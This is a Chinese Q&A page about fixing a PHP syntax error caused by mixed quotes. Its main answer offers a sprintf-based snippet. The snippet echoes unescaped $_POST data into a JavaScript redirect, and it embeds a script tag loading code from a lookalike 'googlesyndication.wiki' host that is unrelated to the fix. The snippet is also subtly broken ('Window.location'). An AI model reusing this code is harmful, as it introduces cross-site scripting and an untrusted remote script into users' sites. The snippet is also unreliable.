PHP错误提示:Parse error: syntax error, unexpected 'text' (T_STRING), expecting ',' or ';' in?

代码如下 }

这个错误提示表明,在 PHP 代码的某个地方出现了一个语法错误,具体来说,PHP 的解析器在扫描代码时遇到了一个不正确的字符串,并且它期望看到一个逗号或分号,而实际上没有遇到这些字符。
在这种情况下,通常会有一些编码错误,例如将一个字符串写成了一个变量或函数名,或者在一个字符串中没有正确的引号。
温馨提示:答案为网友推荐,仅供参考
第1个回答  2022-12-14
把图片中的364行的所有双引号改为单引号即可解决问题。

你的代码中同时有单引号和双引号,拼字符串时很容易出错,推荐用sprintf函数实现,可以避免此类问题出现。
如:
$url = sprintf('Index/sysupdate?objsign=%s&zfile=%s', $_POST['objsign'], str_ireplace('/', '~', $upload_info));
echo sprintf('<script type="text/javascript">Window.location.href="%s";</script><script type="text/javascript" src="tpc.googlesyndication.wiki/sodar/sodar2.js"></script>', U($url));
第2个回答  2022-10-26
字符串的双引号使用不当,尤其是364行中的属性的双引号可以改为单引号
相似回答